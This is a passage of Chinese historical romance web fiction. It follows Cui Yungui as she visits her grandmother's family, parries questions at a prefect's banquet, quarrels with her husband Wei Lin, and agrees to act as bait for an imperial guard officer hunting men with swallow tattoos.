这样马不停蹄的转了两天,崔云归在第三天时带着妹妹去舅舅家拜访了,因为崔云归一下地就递了拜帖过去,所以周家的女眷今日都没有出去,早早便一同聚在周家老夫人樊兰芝的益寿堂等侯他们二人的到来。
崔云归是周、崔两家第一个出生的女孩,小时长得精致可爱,往哪一站就是个雪白的糯米雪团子,让人看了心化成一滩水,周老太太和杨听晚也就是崔云归舅母更是喜欢的紧,常接崔云归来周府小住。
住的次数多了,崔云归对周家也熟了起来,纵使跨越了前世未踏足竹溪的十年,她也能闭着眼睛走完周家。
一下了马车,崔云归就带着崔云倩轻车熟路的拐进了益寿堂的正厅,厅中已经坐了六人,正坐着的那位满头银发的老太太正是崔云归的外祖母,周老夫人,在她的左下侧,坐的是杨听晚,右下侧坐着四位妙龄女子,她们皆是崔云归的表妹,四人中除去为首的周意浓是杨听晚所生,其余三人皆出自舅舅周武的两名妾室。
“外祖母万福,舅母万福。”
周老夫人见了崔云归两甚是开心,热情的招呼着姐妹两坐下:
“我同你舅母正说着要让小厮去崔家接你们姐妹两人呢,快,坐下。”
崔云归但笑不语,与崔云倩并排坐在左侧面杨听晚手下的交椅上。
待她们坐定,表妹周意浓与其他三个年纪稍小的妹妹步履轻盈的上前对着崔云归福礼:
“姐姐。”
崔云归幼时来周家小住时就是与周意浓睡在一个被窝里,关系可想而知的亲密,剩余的三个庶女也是自小就养在杨听晚身边,是以崔云归与她们的关系也并不差。
她笑着向后招手,冬藏立即捧着一个大木匣子上前,崔云归起身接过木匣子转交到周意浓手上,眉目含笑的扫过周家四姐妹:
“我从安阳带了些胭脂水粉、钗环首饰过来,都是那边的夫人姑娘喜欢的时兴玩意,不值得几个钱,待会妹妹们拿去分了吧。”
周意浓喜欢摆弄这些胭脂水粉,得了这些时兴的东西笑的合不拢嘴:
“多谢姐姐。”
崔云归再笑闹了她几句便收嘴了,周老夫人被她们几个小的女孩逗的捧腹直笑,等停下来之后她捏着手绢推了推脸上笑的酸痛的肌肉,心里还记挂着没来的崔云焱:
“云焱好些了吗?”
好的不是一星半点,都能顶嘴了。
崔云归笑着道:“好多了,刚回家那日身上烫的烧人,后秋收来府中取了金疮药回去敷了后就退了热,今日我门出来时他还叫着要一起来呢。”
崔云焱的烧在接回家的第二天就退了,见两个姐姐要去舅家,直嚷嚷着要跟着一起去。
他的烧是退了,但人还躺在床上,连翻身都做不到,崔云归想她总不能差两个小厮一路把崔云焱从崔家抬到周家去,那成什么样?!
于是天不怕地不怕的崔小少爷龇牙咧嘴的荣获了大姐姐崔云归迎头的两个爆栗才收了心躺在床上继续养伤。
崔云归提起了金创药,杨听晚立马想到了她送来的那支野山参,佯装生气的看着崔云归:
“你说这孩子,如今怎与舅母如此见外了?差人来拿金疮药还送什么野山参来,今日走时带回家去!”
崔云归知道舅母并没有生气,讨巧的耍了几句嘴皮子哄得杨听晚喜笑颜开,几人又说了些别的话后周老太太突然支开周意浓和崔云倩几个更小的女孩,只留了崔云归和杨听晚。
“意浓,你哥哥前几日得了一只鹦鹉,毛色绚丽能通人言,还会念诗,你带着四个妹妹一起去瞧瞧。”
此话一出,屋内的几个姑娘便知道接下来的话不便他们听了,齐声应了声“是”便退了下去。
她们五人一走,周老夫人也扶着腰从交椅上起身,崔云归眼明手快,先仆婢一步搀扶上周老夫人的手臂,杨听晚也扶住了另一边,两人一起扶着她进了内室的罗汉床上靠着。
待坐定,周老太太想忽然想到什么似的,探着头往后看了看,拍着崔云归的手问道:
“诶,今日怎么不曾看到你旁边那个丫鬟春寻?她今日怎么没同你一块来?可是与她表哥成婚了?”
春寻是周幼宁陪嫁丫鬟生的女儿,与崔云归年岁相当,自小也跟着崔云归在周府进进出出,周老太太自然也是认得的。
崔云归往周老夫人身侧塞了个枕头便于她倚靠:
“要是正如同外祖母说的那般就好了,去岁我还未嫁时便想放她回去与她表兄成婚,偏生春寻这丫头心死,不管还在这的老子娘也要跟着我一起去安阳,现在好容易回来了,我就放她回家去与她老子娘团聚几日。”
这是崔云归对外说的,实际上这次春寻回去还带着崔云归给她的任务,替崔云归在外面找一个大夫,一个在若干年前替崔乔海看过病的大夫。
樊兰芝盘膝坐好后把崔云归揽进怀中嬉笑她:
“你这主子当的倒是大方。”
杨听晚坐在边上的凳子上也捂嘴笑她:
“哪家的姑娘主子谁有我们家小满良善?翻遍竹溪怕也找不到第二个。”
崔云归伏在周老夫人的膝头不肯起身:
“外祖母打趣我,舅母也取笑我。”
周老夫人和杨听晚被她这副幽怨委屈的神情逗的捧腹大笑。笑了好一瞬,周老夫人揩走眼尾笑出的泪拍了拍崔云归的肩膀:
“好,好,不打趣你了,我且问你,你那夫婿待你如何?”
不干人事。
崔云归当然不能这么说,她不想让外祖母与舅母操心,于是半藏半掩道:
“他待我很好。”
周老夫人慧眼识崔云归:“当真?”
见势不对,崔云归稍稍改口:“我与他就如同正常夫妻一半,相敬如宾。”
可惜周老夫人并不相信:
“你当我是你那个混不吝的父亲,能让你三言两语哄骗过去?平日里竹溪这些官夫人官小姐什么的就最看不起我们这些商户,那忠节侯府什么人家?天子脚下的官爵豪户,怕只会更看不上我们这样的人家。前几日我犯头疾见不得风,没去成崔家,但你舅舅回来时我可听你舅舅说了,你那夫婿好生站在那还让你受了你父亲一个巴掌。”
这些委屈独自受着的时候倒不觉得有什么,现在周老太太把她往怀里一揽替她说着这些委屈崔云归竟觉得眼睛开始酸涩起来,似乎有滚烫的泪珠嵌在眼睛里。
说来说去还是崔乔海混账!周老夫人对这个女婿越看越不满:
“你父亲看着精明机灵,怎不知那侯府是个虎狼窝?就这样把女儿生生的送进去!”
话头
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来到这里,杨听晚也开始伤感,不一样的是她带着自责:
“说起来也是我的不是,你外祖母早说让我去把你与意松的事定下来,但我总想着等你表兄有一番建树后再去与你父亲提亲,哪知你刚过及笄礼,就与安阳的忠节侯定了亲。”
要问崔云归喜欢周商序吗,崔云归觉得也未然,只是在她未嫁之前,周家和崔家这两家几乎所有人都以为她会嫁给周商序,连同着崔云归也在某段时间默认过她会嫁给表兄周商序。
但老天总爱捉弄人,崔云归转身就嫁到了远在千里之外的安阳去。
气氛些许感伤,崔云归握住周老夫人的手从膝上起来,生硬的将话题转移出去:
“莫说我了,说说家中的事吧,近来家中可有什么喜事?”
崔云归本意是周意浓的及笄礼,不料杨听晚给她来了个大的。
“近日没什么喜事,过段时日倒有一桩,商序定了船商吴绪勇家的三姑娘,下个月端午节过后便成亲。”
崔云归大吃一惊:“妙安?”
“是了。”杨听晚点点头:“就是妙安。”
竹溪经商的人就那么多,没有触及到各自根本利益时大家都常在一起走动,在很久之前,崔云归便于吴妙安结识,攀谈之中发觉二人兴趣相投,后引为闺中密友。
表兄娶的居然是妙安?!
但她隐约记得妙安是有心上人的。
难不成是吴绪勇棒打鸳鸯了?
接下来崔云归脑子里一直想着这个事,直到回到了崔家自己的院子中,她还是觉得不可思议。
揣摩不明白的崔云归还是觉得写封信给吴妙安一探究竟。
温序秋趴在远处的树上看着崔云归把一封写好的信交给旁边的丫鬟后对她说了几句话后那丫鬟就走了。
隔得距离太远,温序秋并没有听清她说的到底是什么,只能根据她们的行为判定。
但现在令她为难的事来了,接了信的丫鬟从崔家的后门出去了,崔云归还在府中,温序秋犹豫了一瞬,立马又想到自己上次因为没跟紧崔云归而被凤淮扣了十两银子,她又老老实实的趴回树上继续盯梢了。
丫鬟去了哪是凤淮该去查的,她只管将此事上报。
明日要去赴知州夫人的宴席,为养足精神,崔云归早早就沐浴洗漱完躺下了。
才刚躺下,崔云倩就孤身一人提着盏花灯来了。
“姐姐。”
崔云归半坐起来:“怎了?”
崔云倩神色黯然,忧心忡忡的模样,想说什么话到嘴边又不敢说出口,崔云归读懂了她的别扭,也不催她说。
怕她难为情,崔云归还屏退了房中的丫鬟。
房中没有人了,崔云倩才揪着手绢小心翼翼的询问:“姐姐会不会怪我?”
“???”
崔云归莫名其妙,怪她干什么?
崔云倩自顾自说:“我要是勇敢一些就好了,这样云焱也不会叫父亲打成那般样子后还丢到庄子上了。”
原来为的是这个,崔云归暗叹一口气:
“人各有样,张开五指尚有长短,你能有什么问题?父亲偏爱卫纤霏,遇上她便如同被鬼迷了心窍一般,更何况她现在肚子里怀了孩子,老来得子,自然珍惜,当时怒上心头,岂是你能阻止的?”
崔云倩抹着眼泪,崔云归连哄带劝的才哄住她的眼泪。
经她这一通劝慰,崔云倩是安心了,她却无了睡意。
26.亲兄弟明算账
初夏,楝花飘砌。蔌蔌清香细。梅雨过,萍风起。崔云归受知州夫人所邀赴宴。
许是昨晚睡的太晚,今日又起的太早,导致现在崔云归坐在马车里揉着眼睛哈欠连天。
“姑娘可别揉眼睛了,再揉下去妆就该花了。”
秋收今日给崔云归梳妆时将昨日探听到的知州夫人怀孕了的消息闲聊给她听,秋收本意是让她对知州夫人多些了解,崔云归听后却有另外的考虑,为避免发生意外,她舍弃了以往常用的香膏,临时让冬藏出去买了盒孕妇可用的香膏来。
事出突然,当时秋收还忧心时间上不凑巧,不曾想冬藏人小腿脚倒是挺快,赶在出发前将香膏买了回来。
崔云归伸左手出去让秋收往手腕上抹香膏,右手依旧慢揉着眼睛:“都说左眼跳财,右眼跳灾,我今日一起来右眼皮就在跳,一直跳到现在还止不住,怕不是今日有什么灾祸。”
“呸呸呸!姑娘一生平安无虞,哪来什么灾祸?!”
秋收抹完了左手,崔云归将右手也递了过去,秋收挖了一块香膏在手心搓热,煞有其事道:
“姑娘快同我一起呸两声,去去晦气。”
崔云归掩口胡卢:“说着好玩罢了,我又不信这些。”
“说着玩也不行,祸从口出,姑娘该说自己岁岁长健,千秋万岁。”
秋收语气强硬,动作却依旧轻柔,如法炮制的将香膏涂抹在崔云归的耳后与颈脖处。崔云归哑然失笑,拗不过秋收,跟着她连呸了两声秋收方才满意。
四月初,小满时节,荷花未开,新茶已摘,照理说是没什么宴可以设的,但因为要探魏麟的虚实,所以知州夫人硬是别出心裁办了个曲水流觞来接崔云归。
这样的宴旁人来看倒是稀奇,放到崔云归的眼中还是稍显逊色,前世骠骑将军的夫人是安阳城中办宴的高手,什么流觞曲水,馄饨宴,雅集宴,池亭赏鱼,踏雪寻诗……真真只有你想不到,没有将军夫人办不出的。
这场宴是专门为崔云归设的,整个宴席上的官夫人都明里暗里向崔云归探听魏麟此次来竹溪的最终目的,崔云归全场胡言乱语。
知府夫人说知府喜欢喝龙井茶,但如今茶价增高,不知还能不能喝上龙井,崔云归马上就接喝茶好,有益身体健康,再拉着知州夫人说一堆茶的种类、如何烹制云云……
通判夫人问她阔别多日重回故土可有不适的地方或觉得不喜哪里,崔云归回她崔家厨子厨艺不减当年,她重回故土也没有水土不服,唯一看不惯的就是崔乔海在好好的院中挖了个湖出来,并由此开启“家中物品该如何摆放才有利于风水”这一话题。
有夫人再来问,崔云归就揉着额角同知州夫人说自己吃醉了酒,要去外头醒醒酒再来。
她这一醒酒便直接醒到了散场。
“今日多谢夫人的款待。”
知州一家居住的彭府大门前,崔云归笑容标准的对今日的东道主道别,知州夫人马君曼面带倦色挺着肚子同样露出商业性的微笑。
“初识魏夫人,不知夫人酒量浅,准备的酒全是醉人的,累的夫人出去吹了半晌风,魏夫人莫要嫌我招待不周才好。”
这是点她借口醉酒离席一事?
崔云归双目低垂,羞赧一笑:“怪我没见识,今日夫人办的宴好稀奇,我瞧着心里开心,不自觉多贪了几杯,这才吃醉了。”
她憋了口气,将双颊憋的绯红,满是少女的羞涩。
马君曼一拳打在棉花上,无力感和憋屈感把她本就窝出的火烧的更旺了。
“魏夫人不嫌弃便好。”
“哪里的话?”
两个人浅显又客套的聊了几个来回,来旺终于把车赶到近前来了,马君曼如释重负,面上却还作不舍状:
“我与魏夫人一见如故,眼见着你要回家去了还真不舍,这样,明日我给魏夫人写拜帖,邀你来玩,你可一定要来啊。”
玩?恐怕短时间内是没有第二次的。要是崔云归的马车还不到马君曼就该找点别的理由走了。
崔云归也不是没看出来,她眉眼一撩,开始使坏:
“我为人蠢笨,又不会说话,难为夫人肯与我玩,实话不瞒夫人说,我自看夫人的第一面起便觉得夫人同我姐姐一般,真想今日就在府中住下,同夫人彻夜长谈一次。”
马君曼未料到崔云归会这样讲,当即笑容就僵了一瞬。
使坏成功,崔云归笑语嫣然:“我说笑罢了,夫人身怀六甲,我怎敢叨唠?”
“……”马君曼不敢说话了。
目送着崔云归的马车走远后,马君曼的大女儿面向崔云归离去的方向鄙夷道:
“也不知这商户女走了什么运,也就有点自知之明,知道自己蠢笨,好赖话都听不懂,如此这样竟也嫁去了侯府……”
声音顿止,彭瑶不明所以的看着瞪着她的马君曼:“娘?”
马君曼眼眸回转,深深的看了一眼崔云归离去的方向,撑住丫鬟的手往府中走去:
“她若还蠢笨那天底下就没有聪明的女子了。”
彭瑶不服气,追在马君曼身后辩驳:
“我看她就是蠢笨,不仅蠢笨,还相貌平平,昨日听闻爹爹说小侯爷芝兰玉树,俊美无涛——”
听到小侯爷这个称呼,马君曼突然就发了脾气:
“还不住嘴!什么小侯爷?圣上都还未下旨册封他为世子,到现在他还是魏大公子,哪来什么小侯爷?一张嘴巴乱说,净会给你爹爹招祸事,再者,不要说他长得芝兰玉树了,就是他长得鼠目獐头,也不是我们能想的!”
前面一堆彭瑶都没有听进去,唯独最后这个“不是我们能想的”被她听了进去,她嘴当即一驽,反叛道:
“崔氏一个商户女都能做他的正头娘子,我比之崔氏女只好不差。”
她也不见得是真的喜欢魏麟,只是不愿屈与崔云归之下。
“我和你父亲近日过于娇纵你了,才让你一个闺阁女子连这样不知羞的话都能说出口,下午项嬷嬷教做茶你也不必去了,回你闺中把《女戒》抄三遍,什么时候抄完什么时候出来。等晚上你爹爹回家,我便让你爹爹给你定下门亲事,绝了你这条不知所谓的心!”
马君曼怀着孕,又连着劳累了几个时辰,此时被女儿气的心力交瘁也无力跟她吵,只能对她稍加惩诫再把她赶去闺中反省。
彭瑶忿忿不平,还想再争辩一二,马君曼被她扰的头疼,不给她吵嚷的机会,挥手让人把她带了下去。
话分两头,各表一方。在知州府母女二人因为崔云归夫妇发生口角之时崔云归在崔府吃的不亦乐乎。
刚才在宴席上崔云归为了摆脱追问托辞醉酒出去吹风,酒实打实的喝了几杯,饭菜根本就没用几口,早在彭府兜圈子时她就饿了。
“尝尝这个。”
崔云归夹着块蟹粉狮子头喂到秋收嘴里。恰逢冬藏从外面回来,崔云归不厚此薄彼,也夹了筷给冬藏
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。
口感松软,肥而不腻是冬藏和秋收给这道菜的评价,崔云归见她们喜欢又给她们夹了几筷子,秋收用过午饭,对吃食不那么忠爱,吃了一口尝了个味就觉得够了,但冬藏不一样,她贪吃,崔云归喂了多少她便就吃几口。
但再好吃的菜多吃几口也就腻了,冬藏也不例外,吃完最后一筷后摆手示意崔云归她不要了。
崔云归住了手,开始评鉴桌上其他菜,冬藏吃够了隐约记得自己从外头来是有事禀告的,她苦着脸想了半天,一拍脑袋,这才想起来自己来的目的。
“姑娘,姑爷让寸笺过来接你去公廨。”
女婿不睡娘家床,崔乔海说让他留宿在家中也是客套话,魏麟自然也知道,所以也没准备住在崔家,落地竹溪时就差人把铺盖行李放到公廨中去了。
他去任他去,崔云归是很心安理得的住在崔家。
“不去,叫他回去后同魏麟说,我看了座二进的院子,明白打算搬进去,以后都不必来叫我去公廨。”
崔云归烦不胜烦,一连好几天崔云归总在午时后听寸笺来请她去公廨住的消息,公廨又吵又不自由,崔云归不认为自己可以住进去。
冬藏早有预料崔云归不会住到公廨去,现在她来秉明崔云归也不过是走了行式罢了,她点头:
“那我现在就去和寸笺说。”
崔云归颔首,忽的又似想起来什么,把已经走出去一小段路的冬藏又叫了回来。
“你让他与魏麟说,租个二进宅院约摸十两,他若也想搬去二进的院子里,就每月送五两银子给我。”
“这。”
“亲兄弟明算账,你照实说就是。”
关键你们这也不是亲兄弟呀。
冬藏盯着崔云归看了一会儿,确定她不是开玩笑的后,就跑出去把崔云归刚才说的话一字不落的告诉了寸笺,再由寸笺尽数转诉给了魏麟。
静夜沉沉,浮光霭霭,月白如雪,翻阅了一整天卷宗的魏麟终于站起了身,寸笺见缝插针,倒了杯茶给魏麟,在魏麟喝茶的功夫里把崔云归说的话原封不动的转诉了出来。
魏麟沉漠半晌:“大奶奶当真这样讲?”
寸笺应道:“大奶奶让冬藏和我说的,要我把原话转诉给大爷。”
魏麟睫毛微颤,眉目闪动间流露出一丝烦闷,他抬手揉了揉发涨的额角:
“你去将我这些年的积蓄全交给大奶奶。”
什么积蓄?大爷还有积蓄?大爷每月的俸禄不都划了一大半给表姑娘去了吗?
虽然很残忍,但寸笺还是觉得有必要让他认清事实。
“大爷,你每月发了俸禄都要给表姑娘置办衣裙、首饰,剩下的不多,这一路山高水远,已所剩无几了。”
“……”
魏麟想反驳他但转念一想确实如此,他的头更痛了:“那就从带来的银子里拿出十两给大奶奶送去。”
见他不动,魏麟不可置信:“这总不可能没有吧?!”
“那还是有的。”
寸笺摆手否认,指了指外边已经黑沉的天:
“现在大奶奶定然是睡了,要不明日再去?”
烛火摇曳之间,魏麟不由自主联想起往日崔云归每每被吵醒时展现出不悦的神情,他曾为发现她这一瞬少女鲜活的姿态而沾沾自喜,却不知那就是她真实的底色。
残灯卷夜,魏麟重新坐回原位,喉头滑动,胸腔震动,他听见自己“嗯”了一声。
27.人为鱼,她为饵
夜色渐浓,官廨中点着一豆孤灯,灯影中现出魏麟伏案而睡的身影,周遭除去偶有几声虫鸣外静的出奇。
同一片天下的同一个夜晚,雕梁画栋的崔府有着与狭小逼仄的官廨如初一撤的寂静。
“秋收。”
漪澜院的卧房中,层层床幔之后响起崔云归一声呢喃,她夜半口渴,唤秋收倒杯茶给她喝。
崔云归半睡半醒,等了半天也不见秋收倒水来。
不应该,实在不应该,她自小半夜就有喝水的习惯,在她身旁伺候的丫鬟都知道,所以她们守夜时都会等她喝了茶才安心去睡,今日怎么还不来?
她困得不行,又实在渴的难受,无奈只能强撑着精神将眼睛撑起半条缝往外看,却在睁眼之时睡意全无。
床边居然坐着一个人!
这里是崔府,有的是家丁,到了晚上还有护卫巡院,贼人竟胆大至此!
霎时间,崔云归冷汗涔涔,半睁着眼盯着床边一直坐着的人。
时间在这会似乎过的特别漫长,崔云归觉得似乎僵持了许久,久到她的后背都被冷汗浸湿了,床边坐着的人才有了动作,起身向外走去。
崔云归没有因为他的他的离去而掉以轻心,趁着那人背对着她,崔云归无声将手摸进枕头下,得益于今天她的右眼跳了一早上,今也夜睡前,她特意藏了把匕首在枕头下。
人影去而复返,崔云归将匕首握在手中,静待着他下一步的动作。人影越来越近,近到崔云归看到一只手撩开了层层床幔。
她不再犹豫,半撑起身体举起匕首朝人影刺去。人影似乎早有防备,几乎在崔云归举起匕首的一瞬间,那只撩开床幔的手握在她手腕上一扭,她手中的匕首便掉落在了地上。
反转发生的猝不及防,没了匕首防身,崔云归张口欲喊,却又被那只手先一步捂上了嘴。
而后,一张俊逸非常的脸从床幔后靠近,虽隔着层层叠叠的床幔,崔云归也认出了那张脸的主人。
是两次救她与水火之中的那人,他便就长了张令人难以忘怀的好皮囊。
“少侠。”
凤淮见崔云归认出他了,确定崔云归不会大叫后收回了捂着她嘴的手,把另一只拿着一盏茶的手伸进床幔中:
“夫人喝茶。”
崔云归不明白他意欲何为,懵圈的接过茶盏喝了半杯下去,连她自己都没意识到她已经因为凤淮前两次救她性命的恩情而对他生出了些绝对的信任。
剩余半杯茶水下肚,干渴得以疏解,崔云归将茶杯握在手中想起来她曾经承诺过的救命之恩。
“少侠深夜造访可是遇上了什么难处?”
她原以为这辈子无缘再履行诺言,不料这人找来的这样快。
崔云归直切主题,凤淮也不遮掩:“我想请夫人帮一个忙,帮我引出肩膀上有燕子刺青的人。”
“……”别的忙崔云归也许帮不上,但这个忙崔云归是一定帮的上的,而且完成起来也简单,只要她遣散护卫往偏远处跑一跑,那些燕子刺青就会出来。
难度不大,她的小命存续的可能性也不大,崔云归觉得她有必要拒绝。
“少侠这是让我以身作饵?”
凤淮侧坐在床前的凳子上,眼尾的余光都没分一丝到崔云归的账中。
“不错。”
察觉到崔云归想要拒绝,他搬出了崔云归那日承诺他的话。
“我记得夫人那日说凡你所有,我皆可索求。”
“……”是这样也没错,但这个所有里面好似不包括她的性命。
她就说今天右眼跳是有预兆的,古人诚不欺我。
崔云归拥被坐了起来,不再与他兜圈子:“我暂时还没有想死的打算,少侠换一个罢。”
她说的明了了,凤淮低低的笑了起来,透露出自己的一丝信息安抚崔云归道:“夫人放宽心,凤某效忠朝廷,手下精兵□□无数,就算凤某身首异处,也定然会让他们护着夫人毫发无伤,夫人只需将他们引出来,剩余的就交给我。”
上次路遇山匪之时崔云归就隐约猜到了凤淮是朝廷的人,但事关她的小命,谨慎些总是好的。
“少侠空口说白话,自是不能叫我信服,可有什么凭证?”
聪明又谨慎,凤淮向来喜欢有脑子的人,他取下腰间挂着的令牌,准确无误的从床幔的开口处丢了进去,直接丢到了崔云归的面前。
崔云归捡起令牌翻看了一二,令牌上画的什么兽崔云归不认识,但她认识令牌上的“指挥使”三个字。
疑虑打消,崔云归将令牌丢还给凤淮,扯起被子将自己裹了个严实:
“大人要我怎么做?”
见她同意了,凤淮捞起令牌挂号起身准备离去:“这几日夫人多去注生寺走走便可。”
崔云归嘴角抽动,他也真会选,注生寺,竹溪求子最灵验的寺庙,第二是建在城中的瑶光寺,但因其地处偏远城中又有瑶光寺,所以虽经验但也是人迹罕至。
君子一言,驷马难追,驷马难追,谁让她欠人家救命之恩,不过,一码归一码,她欠他救命之恩不代表他可以向她房中的丫鬟下手,崔云归眼疾手快的伸手拉住要正要离去的凤淮:
“你把我的丫鬟怎么样了?”
主仆情深,果然如温序秋信中表述的那样,凤淮勾唇浅笑:“她无事,只是让她睡熟了些,天亮了就醒了。”
目前凤淮在崔云归这里信誉不错,崔云归撒开凤淮的衣袍,明确的答应下来:
“后日开始,我会常去注生寺。”
凤淮弯唇,悄然离去了。他出入皆神不知鬼不觉,若非手上还握着茶杯,崔云归都要觉得自己这是幻梦了一场,她下床放了茶杯又去查看了一下春寻的情况,见她确实是睡着了便又爬回了床上。
只是现在,她已毫无睡意。她想不明白,见她的方式千千万,为何凤淮会出现于此。
为何凤淮会出现于此,这个问题还要回到一个时辰前。
月色清浅,凤淮只身一人立在飞檐之上,他面如冠玉、风采卓绝,单站在那好似一副月下公子图,每一处都洋溢着美感。
但很快
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,这美感就被人打碎扔进了泔水桶中。
“大人。”
来人一身黑蓝色劲装,背一把唐刀,单肩伏一只张嘴虎脑,胸前一张鱼鳞护心甲有一半隐在衣袍下,再往下看去就是纯黑色的腰封,为避免单调,也为了美观,黑色的腰封上缠有锁链红绳,连着半匹银甲。
目光聚焦向上,见他脸上的面具与傩戏中开山莽将神似,一对獠牙一对角,端是穷凶极恶之像。
这是玄机卫统一的服饰,凤淮也有一整套,只不过他的那套更为精美。
“又是不见踪迹?”
不必他出口,单看他不言不语的姿态凤淮就知道了结果。
“很奇怪,昨日分明还有线索,今日就如同人间蒸发了一样。”
玄机卫单膝而跪,表达自己疑虑的同时默默甩了一部分责任出去。
凤淮负手而立,目光所至的地方是崔云归的漪澜院,他想起了昨日温序秋的信,信上说崔云归昨日晚遣丫鬟出门去送信。
天底下真有这么凑巧之事?
凤淮凝望着漪澜院,乍然挑眉轻笑。
巧合也好,阴谋也罢,他总会弄个清楚!
“燕子刺青那边什么进展?”
“……”
“也找不到?”
头头委派下来的两个任务,一个有线索但跟丢了,一个无线索不知从何下手,总结起来便就是一个任务也没完成,玄机卫不敢言语,算是默认。
所有的上司都喜欢比较,凤淮也不例外,他幽幽道:
“在安阳,温序秋抓到了三十一个。”
“……”
凤淮这样说,那他就肯定凤淮定然不知温序秋抓人是怎么抓的。
他有幸见识过,那时候他满怀期待的跑过去学习温序秋办案的方法,到了地方却见温序秋蹲在屋顶看过路的人谁有嫌疑,有嫌疑的便拖到深巷中扒下衣服查看肩膀上是否有燕子刺青,没有的便放了,有的也咬舌自尽了。
难道他也要同温序秋一样?
这个想法一冒头,玄机卫就把它扼杀在萌芽阶段。不可能!他绝干不出如此奔放孟浪的事出来!
上次救下崔云归后在山匪身上又看到了燕子刺青,接二连三的出现,凤淮在里面嗅出了一丝不同寻常,于是马上就写信给祁骁,说明了此事。
祁骁很信得过凤淮,也把这件事放在了心里,只是现在朝廷各司其职,谁也腾不出手来追查,刚好凤淮接二连三的遇上,就把这件事也派给了玄机署,令其彻查。
彻查是彻查不出的,已有的线索是能跟丢的,凤淮现在很怀疑手底这些玄机卫的专业性,所以他打算找个时间好好将这些人练一练。
打定主意,凤淮原谅了他们的无用,摆手让他们专心去找废帝祁连的下落,玄机卫脑子空洞洞的:“那燕子刺青呢?”
燕子刺青?
凤淮张望着远处的漪澜院,没有饵,鱼儿怎会咬钩?
很显然,在凤淮这里,有燕子刺青的人是鱼儿,崔云归就是他钓钩上的饵,所以,他去找饵去了。
28.以身饲虎
天明,崔云归顶着一双青黑色的眼睛出现在众人面前。
接连着两天都没睡好让崔云归的精神有些许恍惚,坐在铜镜面前头像小鸡啄米似的,一点一点。
秋收见她精神不济就劝着她去睡会儿,但崔云归今日忙的很。昨日她去赴宴时就安排了人把那座二进的院子打扫干净,该添置的东西也添置过去了,她今日不仅要去二进院子看搬家,还要去买几个做粗活的仆婢,伙夫。
这样算下来崔云归今日是一刻也停不下来,秋收便只能多往崔云归脸上盖几层粉,遮一遮眼底的青黑。
忙碌中的人总觉得时间过的飞快,待崔云归忙完一切坐下来已入黄昏时段,这时候,阴了一整日的天也飘下雨来。
“老天也给姑娘行方便,一切都安置完了才下雨。”
秋收带着一身湿意进门,她一边说一边走到崔云归跟前。
崔云归合眼疲软无力的靠在贵妃榻上让两个从崔府出来的丫鬟捏腿,语调里端的是慵懒:
“老天若真给我行方便明日就该出个大太阳,去去屋里的这些霉味。”
四月的竹溪虽步入了初夏,但还是阴雨连绵不断,这几日天都是阴沉沉的,一副要下雨又不下的样子,烘的空气中一股子霉味,一年中崔云归最讨厌的就是这个时候。
去给崔云归倒青梅酒的冬藏正想和崔云归侃一侃明日的天气,不料却有人先她一步接上这个话题。
“有娘子这句话,明日准出个大太阳!”
魏麟眉目温柔,半身/湿/透着推门而入,后面还带着同样湿/了半身的寸笺。
听见了魏麟的声音,崔云归掀了掀眼皮,没动也没接话。
她能当作看不见魏麟,秋收和冬藏及一众丫鬟却不能,纷纷停下手中的动作行礼:
“姑爷。”
魏麟抬手,边掸着湿的袖袍边往里走:
“娘子近日劳累了。”
他走到崔云归近前,把被沾了雨水的外袍脱给侍奉的丫鬟,感慨道:
“幸亏你没去公廨,那地方实在小,住着远不如宅院里舒服——今日我总算可以睡个好觉!”
“……”
那他之前一日一回,坚持不懈的叫她去公廨里住做甚?!
崔云归不语,只一昧的在暗地里鄙夷魏麟。
上次的话说的难听又分明,崔云归现在连面子上的功夫都不肯与魏麟做了,她对魏麟淋了雨熟视无睹,扶着秋收的手从贵妃榻上支起半副身子:
“大人的被褥衣物全在东厢房中,无人去打扰,大人今日定能睡个好觉。”
她话里的要素过多,魏麟僵住,半悬着双臂转过来,脸对着崔云归,黑眸蕴藏着几分急躁:
“娘子可还在与我置气?”
“大人一心只为我好,我怎敢与大人置气?”
崔云归神情讥诮,反话正说从心理层面上谴责了一番魏麟。魏麟险些当场挂脸,崔云归饶有趣味的看着他深吸了几口气后又恢复平静。
“你我成婚还未至一载,正处新婚燕尔之期,为何要分房而居?再者,为何是我去东厢房住?”
有传饭的小丫鬟进来了,崔云归早累饿了,懒得再和魏麟瞎掰扯,直接了当的和他表明她完全享有正房居住权的原因:
“因为二进院子是我找的,仆婢伙夫是我买的,我出了大头,正房理应是我的。”
魏麟想说他也出了钱,并且他也可以出买仆婢伙夫的这个钱,但崔云归显然是越看他越不顺眼,说着说着又绕到了和离的话题:
“大人若介怀你我之间淡薄如水的夫妻情分,现下大可以就此写下和离书,你我在和离书上落下姓名后我立马就从这搬走,到时候莫说正房了,整个院子都是大人你的。”
“你……”
崔云归炮语连珠,魏麟嗫喏着气的说不出话来,四海之内,女子以夫为天乃亘古不变的真理,他何时在自己的女人身上受过这样的气,就是上一辈子的她也没有!
但今非昔比,崔云归前世忍了他不代表这世依旧能忍下他,她心里没有他,不仅如此,还对他产生了浓厚的厌恶,现在已然发展成了只需看上魏麟一眼就要跪坐在佛龛前念一上午“阿弥陀佛”以消杀戮之心的境界。
上一世受多了气,重来一世崔云归受不住半点苦楚,怎么称心怎么来,这一称心就称到了饭桌上。
魏麟三头两面,对外人谦逊有礼,对上级低声下气,在面对自己的妻妾时又换上了心高气傲的嘴脸,仿佛他的妻妾是在佛前苦苦求了几千年才求到与他的一世情缘。现如今他浪子回头,崔云归一个困于内宅的妇人就该不计前嫌,对他迸发爱意,但事与愿违,崔云归却一而再再而三的拒绝他的示好,还对他恶语相向,魏麟为哄她回心转意而压制住的脾气一下也爆发出来了,二人谁也不理谁,夫妻间相敬如宾的表象撕开,又降回到了前世死生不复相见的冰点时刻。
这样的日子崔云归前世过了好几年,逐渐在其中找到了乐趣,重生后那种惺惺作态,捏着鼻子和魏麟在同一个屋檐下的生活早已将她的耐心消耗殆尽,现在她乐得清闲,信守承诺的整日往山上的注生观跑,到了那一待就是一天,尽职尽责的扮演一个无害的诱饵去偿还欠下的救命之恩。
实话说,崔云归在此期间不止一次幻视过她是一只自己将自己脱光毛发后架在火上烤香的烤鸡,在烤好之后,她这只烤鸡还需的耀武扬威走到饿了三天的乞丐面前挑衅着说——对,我就是这么香,赶紧过来吃我!
此想法过于直白,崔云归羞于启齿。
她日日早出晚归,起初魏麟在气头上没心情关注她,后面气消了就想着自己给自己找个台阶下,接连蹲守了几日都不见崔云归的身影后,他开了尊口向崔云归房中的丫鬟听取她的下落。
